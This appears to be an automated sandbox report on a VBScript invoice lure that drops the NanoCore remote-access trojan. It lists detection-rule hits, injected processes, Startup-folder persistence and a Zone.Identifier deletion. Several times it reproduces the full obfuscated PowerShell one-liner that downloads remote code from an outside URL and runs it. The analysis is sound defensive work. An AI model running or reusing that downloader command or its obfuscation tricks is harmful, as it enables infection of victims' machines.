Source: 20.2.aspnet_compiler.exe.3814575.6.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.2.aspnet_compiler.exe.3814575.6.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.aspnet_compiler.exe.3b7156e.12.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.2.aspnet_compiler.exe.3b7156e.12.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.aspnet_compiler.exe.2849aac.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.2.aspnet_compiler.exe.2849aac.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.aspnet_compiler.exe.2849aac.3.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 20.2.aspnet_compiler.exe.286a330.4.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 20.2.aspnet_compiler.exe.286a330.4.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 20.2.aspnet_compiler.exe.286a330.4.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000001.00000002.652005586.000002534BC55000.00000004.00000040.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 00000014.00000002.1178034772.0000000003B0C000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000001.00000003.651067855.000002534BC5B000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 00000014.00000002.1170915770.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000014.00000002.1170915770.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000016.00000002.1171008020.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Njrat hash1 = d5f63213ce11798879520b0e9b0d1b68d55f7727758ec8c120e370699a41379d, author = JPCERT/CC Incident Response Group, description = detect njRAT in memory, rule_usage = memory scan
Source: 00000001.00000002.652059892.000002534D420000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 00000014.00000002.1173893063.000000000282D000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Process Memory Space: aspnet_compiler.exe PID: 7072, type: MEMORYSTR	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: Process Memory Space: aspnet_compiler.exe PID: 7072, type: MEMORYSTR	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore

Source: 20.2.aspnet_compiler.exe.400000.0.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 20.2.aspnet_compiler.exe.400000.0.unpack, u0023u003dqVxXNKnhAcArgJoGGYXiyyQu003du003d.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 20.2.aspnet_compiler.exe.400000.0.unpack, u0023u003dqVxXNKnhAcArgJoGGYXiyyQu003du003d.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 22.2.aspnet_compiler.exe.400000.0.unpack, L.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 22.2.aspnet_compiler.exe.400000.0.unpack, L.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 20.2.aspnet_compiler.exe.400000.0.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 20.2.aspnet_compiler.exe.400000.0.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)

Source: classification engine

Classification label: mal100.troj.evad.winVBS@12/11@16/3

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\Documents\20210803

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6772:120:WilError_01
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\{401b59fa-a7f2-4468-a03b-04e3bc489e18}
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Mutant created: \Sessions\1\BaseNamedObjects\Windows

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dcg2nrvy.g5h.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\3G1J49A6V_Invoice.vbs'

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\3G1J49A6V_Invoice.vbs'
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $TRUMP ='https://ia601405.us.archive.org/30/items/all_20210803_20210803/ALL.txt';$B ='ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');&('I'+'EX')($A -Join '')\|&('I'+'EX');
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $TRUMP ='https://ia601405.us.archive.org/30/items/all_20210803_20210803/ALL.txt';$B ='ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');&('I'+'EX')($A -Join '')\|&('I'+'EX');	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: C:\Users\Liam\Documents\Visual Studio 2013\Projects\MyNanoCore RemoteScripting\MyClientPlugin\obj\Debug\MyClientPluginNew.pdb source: aspnet_compiler.exe, 00000014.00000002.1173893063.000000000282D000.00000004.00000001.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbt_{& source: powershell.exe, 00000003.00000003.971380287.000001EA40435000.00000004.00000001.sdmp
Source:	Binary string: C:\Users\Liam\Documents\Visual Studio 2013\Projects\NanoCoreStressTester\NanoCoreStressTester\obj\Debug\NanoCoreStressTester.pdb source: aspnet_compiler.exe, 00000014.00000002.1178034772.0000000003B0C000.00000004.00000001.sdmp
Source:	Binary string: C:\Users\Liam\Downloads\NanoCoreSwiss\MyClientPlugin\obj\Debug\MyClientPlugin.pdb source: aspnet_compiler.exe, 00000014.00000002.1173893063.000000000282D000.00000004.00000001.sdmp
Source:	Binary string: G:\Users\Andy\Documents\Visual Studio 2013\Projects\NanocoreBasicPlugin\NanoCoreBase\obj\Debug\NanoCoreBase.pdb source: aspnet_compiler.exe, 00000014.00000002.1173893063.000000000282D000.00000004.00000001.sdmp
Source:	Binary string: P:\Visual Studio Projects\Projects 15\NanoNana\MyClientPlugin\obj\Debug\MyClientPlugin.pdb source: aspnet_compiler.exe, 00000014.00000002.1178034772.0000000003B0C000.00000004.00000001.sdmp
Source:	Binary string: C:\Users\Cole\Documents\Visual Studio 2013\Projects\FileBrowserPlugin\FileBrowserClient\obj\Debug\FileBrowserClient.pdb source: aspnet_compiler.exe, 00000014.00000002.1178170237.0000000003C41000.00000004.00000001.sdmp

Data Obfuscation:

VBScript performs obfuscated calls to suspicious functions

Show sources

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("POWERsHELL $TRUMP ='https://ia601405.us.archive.org/30/items/all_20210803_20210803/ALL.txt';$B ='ETH COINt.WTF CO", "0")

.NET source code contains potential unpacker

Show sources

Source: 20.2.aspnet_compiler.exe.400000.0.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	.Net Code: #=q_FL69pQf17BUSAFbWYu1SStMAbdu$R1GJ8VY8UL5_EA= System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 20.2.aspnet_compiler.exe.400000.0.unpack, u0023u003dqxoz66kOqvxr21iYXZYXWiumy9eZGwFWaiX4C5X8aecUu003d.cs	.Net Code: #=qKU0J1fiP8KA33eFK1owekQ== System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 22.2.aspnet_compiler.exe.400000.0.unpack, L.cs	.Net Code: Plugin System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

Obfuscated command line found

Show sources

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $TRUMP ='https://ia601405.us.archive.org/30/items/all_20210803_20210803/ALL.txt';$B ='ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');&('I'+'EX')($A -Join '')\|&('I'+'EX');
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $TRUMP ='https://ia601405.us.archive.org/30/items/all_20210803_20210803/ALL.txt';$B ='ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');&('I'+'EX')($A -Join '')\|&('I'+'EX');			Jump to behavior

Source: 20.2.aspnet_compiler.exe.400000.0.unpack, u0023u003dqJT4I5hOweIku0024xYFEeDszbikglXCuquUdu0024v9AXtyq2nsu003d.cs	High entropy of concatenated method names: '#=qBeOBlH6CwHFnQdZWWBgZ_pemudZ6CfCVcfOQtgpeG$Y=', '#=q5v5cLSMFBaxiTtOEjscx86gN2ozXlfytiL6UmXnyWtg=', '#=q_XA5h2lVGHLcY9dK754wKGrOjAm6aBbwPxcUJXgJThJUz83kMbCL53G5uuOLP6Rq', '#=qIFfr$DrKqIieRc688$vylAlBsEnx9Z3$TxvrDsPURfM=', '#=qejgvNXJQvgM2GomZsygLjreyguSPQ29pQHqjR_a0dWk=', '#=qCGokdf0OOxeMJLDkXSfc3NPmwygIQ29RjKQWj$wbNGB9C1pPgma_891QiNyTRXcA', '#=qDqyUVyJLXCtYqhZ0$opqkomqhUBn2WCeEEvGAXlNQ$I=', '#=qdImPAY1o3YhbLtukwCQ91cISaeIEWRKSYrGZ3dTVnkY=', '#=qza7O1AHrroJC7yRIJz4wINR_Sgo4hDpQrj_OYfIrlJE=', '#=q6Ct3QmvVLFC7my$dL1uEiHGmXJ5qCuK4WIhDwfhPTFs='
Source: 20.2.aspnet_compiler.exe.400000.0.unpack, u0023u003dqWrm21vQ8CBMZP_RBTwpusAu003du003d.cs	High entropy of concatenated method names: '#=qCgU$tDqtOAyz2b$RwfSF7UzBcCAr0rFJWxm16x7Lre0=', '#=qeD3MBfedCIuKIQf9V1u2N3YS4VXE_FOHqw_XAjWtZK8=', '#=q$mvEHEBkZud$AdHPWqsMQnw5Xm5sD4vBSSmqrKuXGOk=', '#=qZaN94n8dM6tBEf$qCdY2kbTZb5BOW8Z134$2tNv7EJs=', '#=qtlZnL8mho$rv1eTFz0Mw9UYFC_yCabEZ0xtVePn6wR5aSHE7ti3UfKg2l7D0_xk8', '#=qVS$QmQjvFfsXSqQAKGSl6HGbkse2SG0XCab4upVjtRJkvhTEk$oIS2I9Zja7id1Q', '#=qxJg7RxTW1v5mnt12xXeJiYJv_bcctbtL2BCD5MjDi45Hlz6t8vwDNTv1Rv7tgIct', '#=qp$ZVC1r9spi890l$D7IwEd3faoKeWHvv42mVq8wIIWM=', '#=qCoWHlVuoVRMkOzC7RZubJCslkxaEWn9yZiIydECf69$ktj0IPD5wAwC2H5Cc8C$L', '#=qqs1moO$mYaS72OXOWe0Z6GycslEb6e9Ipoy7ppW0O5abIp05ajv8doqdJZHlN3cK'

Boot Survival:

Creates an undocumented autostart registry key

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe:Zone.Identifier read attributes | delete

Source: C:\Windows\System32\wscript.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
